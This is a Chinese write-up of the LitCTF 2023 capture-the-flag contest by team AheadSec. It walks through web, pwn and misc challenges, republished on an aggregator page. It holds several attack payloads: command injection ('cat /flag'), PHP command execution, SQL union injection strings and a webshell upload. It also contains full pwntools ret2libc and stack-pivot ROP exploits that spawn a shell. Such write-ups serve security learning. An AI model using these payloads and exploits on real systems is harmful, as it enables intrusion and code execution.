LitCTF Writeup By AheadSec

news2024/11/27 4:29:54

文章目录

    • Web
      • 我Flag呢?
      • Follow me and hack me
      • Ping
      • 导弹迷踪
      • PHP是世界上最好的语言!!
      • 作业管理系统
      • Vim yyds
      • 这是什么?SQL !注一下 !
      • 就当无事发生
      • Flag点击就送!
      • Http pro max plus
      • 1zjs
      • 彩蛋
    • Pwn
      • 只需要nc一下~
      • 口算题卡
      • 狠狠的溢出涅~
      • ezlogin
    • Misc
      • 签到!
      • What_1s_BASE
      • take me hand
      • 喜欢我的压缩包么
      • 404notfound
      • 这羽毛球怎么只有一半啊
      • 破损的图片
      • OSINT 探姬去哪了?_1
      • OSINT 探姬去哪了?_2
      • OSINT 探姬去哪了?_0
      • OSINT 探姬去哪了?_3
      • OSINT 这是什么地方?!
      • OSINT 小麦果汁
      • Mincemeat
      • 两仪生四象
      • ssvvgg
      • 雪山的秘密
      • easy_shark

Web

我Flag呢?

直接查看源码,在最底下注释里面找到flag

Follow me and hack me

使用get和post分别传值,得到flag

GET:?CTF=Lit2023

POST:Challenge=i'm_c0m1ng

Ping

command=127.0.0.1;cat /flag&ping=Ping

导弹迷踪

查看网页源码,打开game.js文件
在这里插入图片描述
在game.js中找到flag,加上NSSCTF标志
在这里插入图片描述

PHP是世界上最好的语言!!

在输入栏中直接输入system(‘cat /flag’);即可得到flag,存在命令执行
在这里插入图片描述

作业管理系统

打开环境,在源码中找到 账号密码 均为admin
上传文件一句话木马 然后用蚁剑连接
在这里插入图片描述

Vim yyds

vim异常退出会留下swp文件,访问.index.php.swp会得到源码
放到linux上直接可以看

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

在这里插入图片描述

这是什么?SQL !注一下 !

嵌套了多层括号,过滤了+和#(没测试完整),其他没什么要注意的
flag不在当前库,在ctftraining库中,最后的payload如下:

?id=0)))))) union select 1,concat(flag) from ctftraining.flag limit 0,1 -- 1

在这里插入图片描述

就当无事发生

一道简单的github泄露题
在这里插入图片描述

LitCTF{g1thub_c0mmit_1s_s0_us3ful}

Flag点击就送!

在这里插入图片描述

考的是Flask session伪造
在这里插入图片描述
在这里插入图片描述

Http pro max plus

Client-IP:127.0.0.1
Referer:pornhub.com
User-Agent:Chrome
Via:Clash.win

访问:/wtfwtfwtfwtf.php 接着访问/sejishikong.php

1zjs

js有提示
在这里插入图片描述
/f@k3flag.php
在这里插入图片描述
jsfuck
在这里插入图片描述

彩蛋

第一段flag在我Flag呢?script.min.js文件中
在这里插入图片描述
第二段在Follow me and hack mewww.zip备份文件中
在这里插入图片描述
第三段在作业管理系统
在这里插入图片描述
在这里插入图片描述
第四段在这是什么?SQL !注一下 !

/?id=0)))))) union select 1,concat(password) from ctf.users limit 1,2 -- 1

在这里插入图片描述

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Pwn

只需要nc一下~

从Dockerfile文件获取变量FLAG
在这里插入图片描述

口算题卡

from pwn import *

io = remote('node4.anna.nssctf.cn',28253)
#context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])

#根据输出跑100次
for i in range(100):
    io.recvuntil(b"What is ")
    #接收符号前字符
    a = int(io.recvuntil(b" ")[:-1])
    #接收符号字符
    z = str(io.recvuntil(b" ")[:-1])[2:-1]
    #接收符号后字符
    b = int(io.recvuntil(b"?\n")[:-2])

    #判断符号,根据符号进行运算
    t = 0
    if z == '+':
        t = a+b
    if z == '-':
        t = a-b
    if z == '*':
        t = a*b
    if z == '/':
        t = a/b

    #将运算的值发送
    io.sendline(b"%d"%(t))

#跑完后获取flag
io.recvuntil(b"flag:")
flag = str(io.recvuntil(b"\n")[:-1])[2:-1]

print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')

在这里插入图片描述

狠狠的溢出涅~

ret2libc
泄漏函数真实地址,通过偏移执行未调用过的system(“/bin/sh”)

from pwn import *

#io = process("./pwn4")
io = remote("node6.anna.nssctf.cn",28533)
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")
#context(arch='amd64',os='linux',log_level='debug',terminal=["tmux",'splitw','-h'])

main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x00000000004007d3
ret = 0x0000000000400556

#先存入"\x00"直接略过strlen()函数
payload = b"\x00"
#存入变量到rbp距离的字符
payload += b"A"*0x5f 
#覆盖rbp的值
payload += p64(0) 
#先跳转到ret维持栈平衡
payload += p64(ret) 
#跳转到pop_rdi_ret用于存入参数
payload += p64(pop_rdi) 
#存入puts_got为puts()参数打印puts()真实地址
payload += p64(puts_got) 
#跳转到puts_plt执行puts()函数
payload += p64(puts_plt) 
#跳转回main函数
payload += p64(main)

io.recvuntil(b"Leave your message:\n")
io.sendline(payload)
io.recvuntil(b"Ok,Message Received\n")

puts_addr = u64(io.recvuntil(b"\n")[:-1].ljust(8,b"\x00"))

base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b"/bin/sh\x00"))


payload1 = b"\x00" + b"A"*0x5f + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)

io.recvuntil(b"Leave your message:\n")
io.sendline(payload1)
io.recvuntil(b"Ok,Message Received\n")

io.sendline(b"cat flag")
flag = str(io.recvuntil(b"}"))[2:-1]
print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')

在这里插入图片描述

ezlogin

read函数读取数量的判断上只判断了低8位
在这里插入图片描述
这个函数调试发现是strcpy
在这里插入图片描述

然后就可以构造ROP链了,构造好后输入PASSWORD触发ROP链在这里插入图片描述
由于程序中没有binsh字符串,所以先read然后栈迁移,栈迁移后再exeve

from pwn import *

# r = process("./pwn")
r = remote("node6.anna.nssctf.cn", "28434")

# gdb.attach(r, "b * 0x40061A\n c")
# sleep(1)

def edit_bit(offset, content):
    bit_payload = b""
    bit_payload = bit_payload.ljust(offset, b"a")
    bit_payload += content
    r.sendafter("Input your password:\n", bit_payload)

pop_rdi_ret = 0x400706
pop_rsi_ret = 0x410043
pop_rdx_ret = 0x448c95
pop_rax_ret = 0x4005af
pop_rsp_ret = 0x401de3
syscall = 0x448C8C

payload = b""
payload = payload.ljust(0x108, b"\x00")
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(syscall)
payload += p64(pop_rsp_ret) + p64(0x6b93f0)

i = len(payload) - 1
substr = b""
while(i >= 0x100):
    if(payload[i] == 0):
        if substr == b"":
            edit_bit(i, b"")
        else:
            edit_bit(i + 1, substr)
            substr = b""
            edit_bit(i, b"")
    else:
        substr = p8(payload[i]) + substr
    i = i - 1

r.sendafter("Input your password:\n", "PASSWORD\x00")

sleep(1)

payload = 5 * b"\x00" + b"/bin/sh\x00"
payload += p64(pop_rdi_ret) + p64(0x6b93e8)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
r.send(payload)

r.interactive()

在这里插入图片描述

Misc

签到!

LitCTF{Welcome_t0_LitCTF2023}

What_1s_BASE

NSSCTF{KFC_Cr4zy_Thur3day_V_me_50}

take me hand

在这里插入图片描述
url加密,解码即可:
NSSCTF{Give_y0ur_hand_to_me!!!_plz}

喜欢我的压缩包么

在这里插入图片描述
NSSCTF{Do-u-like-my-zip-p4ck?}

404notfound

这羽毛球怎么只有一半啊

破损的图片

OSINT 探姬去哪了?_1

OSINT 探姬去哪了?_2

OSINT 探姬去哪了?_0

OSINT 探姬去哪了?_3

OSINT 这是什么地方?!

OSINT 小麦果汁

Mincemeat

升到30级之后自动获取flag
在这里插入图片描述

两仪生四象

# 这脚本写的真烂
str = "坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑"

_hash = {"乾": "111", "兑": "011", "离": "101", "震": "001", "巽": "110", "坎": "010", "艮": "100", "坤": "000"}

list = []
for line in str:
    list.append(_hash[line])
line = "".join(list)
with open('1.txt', 'a') as f:
    for i in range(len(line)):
        f.write(line[i])
        # print(line[i], end="")
        if (i + 1) % 10 == 0:
            f.write("\n")

with open("1.txt", "r") as f:
    lines = f.readlines()
    print("NSSCTF{", end="")
    for i in lines:
        obj = "0b" + i
        print(chr(eval(obj)), end="")
    print("}")

ssvvgg

雪山的秘密

BV1oy4y1i7Va
根据出题人的成分可知这题与原神的雪山有关联,可以将音频上传
https://databorder.com/transfer/morse-sound-receiver

3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233

-换空格 .换0 2换1 3换2

201 002 012 021 210 200 /001 112 021 211 002 001 /101 200 121 112 001 021 /201 002 012 202 002 /021 210 211 020 /020 220 110 120 002 012 001 200 /010 002 101 200 012 /120 022 021 101 200 /201 112 211 221 200 122

然后三进制转十进制

19 2 5 7 21 18 /1 14 7 22 2 1 /10 18 16 14 1 7 /19 2 5 20 2 /7 21 22 6 /6 24 12 15 2 5 1 18 /3 2 10 18 5 /15 8 7 10 18 /19 14 22 25 18 17

后面就是将数字转换成26位英文字母得到一段凯撒密码,后移13位(ROT 13)
全部解谜后的结果就是FORTHE,SKYBORNE,FAILED,FORGO,NATION,BUTWE,POWER,THIS,WECANT
在这里插入图片描述

flag: NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}

easy_shark

简单的蚁剑流量,最后一个流中发现线索

cd "/flag";cat win;echo [S];pwd;echo [E]

2654641fCan you request my question?


(x^2-x**2)+(x-17)(x-77)=0

#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
[S]
/flag
[E]
766ab9

这里方程有两个解: x=17 or x=77,根据密文猜测是替换字母,并且给了两个参数,猜测是仿射密码:http://www.hiencode.com/affine.html
在这里插入图片描述

NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/525025.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Jenkins持续集成项目搭建与实践—基于Python Selenium自动化测试

Jenkins简介 Jenkins是Java编写的非常流行的持续集成(CI)服务,起源于Hudson项目。所以Jenkins和Hudson功能相似。 在华为工作了10年的大佬出的Web自动化测试教程,华为现用技术教程!_哔哩哔哩_bilibili在华为工作了10…

如何批量归类文件,按自己批定位置保存

先来给大家看下目前文件是这样的,一个文件夹里面保存是图片 ,另一个文件夹保存是文档,我是需要一个图片对应一个文档,保存在同一个文件夹中。 这个是图片 这个是文档 我的需求是一张图片和一个文档保存同一个文件夹中&#xff0c…

面试篇:JVM虚拟机

一、JVM介绍,JVM运行流程 1、什么是JVM Java Virtual Machine:Java程序的运行环境 (java二进制字节码的运行环境) 好处: 一次编写,到处运行自动内存管理,垃圾回收机制 2、JVM运行流程 二、什么是程序计数器&#x…

Rufus v4.0.2035 开源USB引导启动盘制作工具单文件版

Rufus 是一个可以帮助格式化和创建可引导USB闪存盘的工具,比如 USB 随身碟,记忆棒等等。在如下场景中会非常有用:你需要把一些可引导的ISO格式的镜像(Windows,Linux,UEFI等)创建成USB安装盘的时…

Selenium自动化测试之使用真实用户Chrome环境

Selenium每次打开Chrome浏览器时,每次都是一个初始的全新环境,有时候,我们需要一些当前用户的一些设置和插件等,便可以通过ChromeOptions参数,通过指定用户数据目录--user-data-dir来设置成真实用户目录来实现。 浏览…

【剑指offer】学习计划day2

目录 一. 前言 二. 从尾到头打印链表 a.题目 b.题解分析 c.AC代码 二. 反转链表 a.题目 b.题解分析 c.AC代码 三. 复杂链表的复制 a.题目 b.题解分析 c.AC代码 一. 前言 本系列是针对Leetcode中剑指offer学习计划的记录与思路讲解。详情查看以下链接: 剑指of…

KF-GINS开源代码讲解直播课PPT和学习资源

KF-GINS开源代码讲解直播课PPT和学习资源 文章目录 KF-GINS开源代码讲解直播课PPT和学习资源KF-GINS 组合导航算法原理KF-GINS 代码设计KF-GINS 代码实现KF-GINS 常见问题KF-GINS 扩展直播的部分问题 武汉大学i2Nav团队开源的基于卡尔曼滤波的GNSS/INS组合导航系统(…

【UmiJS项目】react-monaco-editor代码编辑器的安装与使用

一、git地址 monaco-editorreact-monaco-editor 二、安装 yarn add monaco-editor yarn add react-monaco-editor yarn add monaco-editor-webpack-plugin注意: monaco-editor 和 monaco-editor-webpack-plugin 需要按照以下对应版本来安装 本人使用的版本如下&a…

西门子PLC加减速时间的算法

1、新建工艺对象,在“动态”中可以设置最大转速(30.0)和启动/停止转速(2.0)以及加减速时间(也可以计算得出)。 加速度的计算方法为:(最大转速-启动/停止速度)…

ChatGPT、Midjourney不香了吗,New Bing 已向全球个人开放

文章目录 1. 前言2. 教程3. 开始 Bing AI 以上图片均由Bing AI生成。(后文给出第一幅图的关键字) 本文没有任何广告,放心食用,并且手把手教你怎么配置new bing,有需要的耐心看完哦,不懂的可私信我~ 1. 前…

Yarn安装及配置一件启停

Yarn安装及配置一件启停 数据、程序、运算资源(内存、CPU)三者组在一起,才能完成数据的计算处理过程。在单机环境下,三者之间协调配合不是太大问题。为了应对海量数据的处理场景,Hadoop软件出现并提供了分布式处理思想。但是在分…

数据结构——双向链表(保姆级教程,包学包会)

1.双向链表的概念 双向链表就是带头双向循环链表 我们在学完单链表之后,就感觉这个非常简单了,他的主要表现就是拥有头节点,链表永不为空,不需要二级指针;可以通过一个节点找到上一个或者下一个节点;头尾…

MySQL基础-事务详解

本文主要介绍MySQL事务 文章目录 前言事务定义事务四大特性(ACID) 事务操作事务并发问题事务隔离级别 前言 参考链接: 链接1链接2 事务定义 事务是一组操作的集合,他是一个不可分割的工作单位,事务会把所有的操作作…

微服务入门SpringCloud

一、微服务的组成 注册中心:记录每个微服务调用地址、ip 配置中心:管理每个服务的配置 服务网关:身份校验, 分布式缓存:提升访问数据库的速度。 分布式搜索:海量缓存 消息队列:异步消息&#x…

【C++】还new不出对象?看看C++怎么做~(C++内存管理)

🧑‍🎓个人主页:简 料 🏆所属专栏:C 🏆个人社区:越努力越幸运社区 🏆简 介:简料简料,简单有料~在校大学生一枚,专注C/C/GO的干货分…

Redis---订阅和发布

目录 消息系统命令 消息系统 ​ 发布/订阅,即 pub/sub,是一种消息通信模式:发布者也称为消息生产者,生产和发送消息到存储系统;订阅者也称为消息消费者,从存储系统接收和消费消息。这个存储系统可以是文件系…

安全多方计算:安全定义

参考文献:《密码协议》课程 PPT 文章目录 UM & AM安全定义编译器 Semi-honest & Malicious安全定义半诚实模型恶意模型 编译器Input-CommitmentAugmented Coin-TossingAuthenticated Computation编译器框架 UM & AM 安全定义 异步网络下的多方协议&am…

关于 Kafka 分区程序的关键细节

Apache Kafka 是当今事件流的事实标准。Kafka 如此成功的部分原因是它能够处理大量数据,每秒吞吐量达到数百万条记录,这在生产环境中并非闻所未闻。Kafka设计的一部分使这成为可能,那就是分区。 Kafka 使用分区将数据负载分散到集群中的代理…

UFT描述性编程及综合练习

1、录制登录操作改描述性编程。 登录的用户名、密码在global表中给出。有2组:自己的学号/mercury,自己的学号/123456。将登录的本地对象库清空。 要求: 分别采用直接描述性编程和Description描述性编程实现2组数据登录测试,用repo…

pikvm系统主要软件包解析备忘

PI-KVM让普通家用PC也有能够像数据中心机房里面的IP-KVM一样的功能。 详细信息参考官网:PiKVM HandbookOpen and cheap DIY IP-KVM on Raspberry Pihttps://docs.pikvm.org/ nullOpen and inexpensive DIY IP-KVM based on Raspberry Pi - GitHub - pikvm/pikvm: O…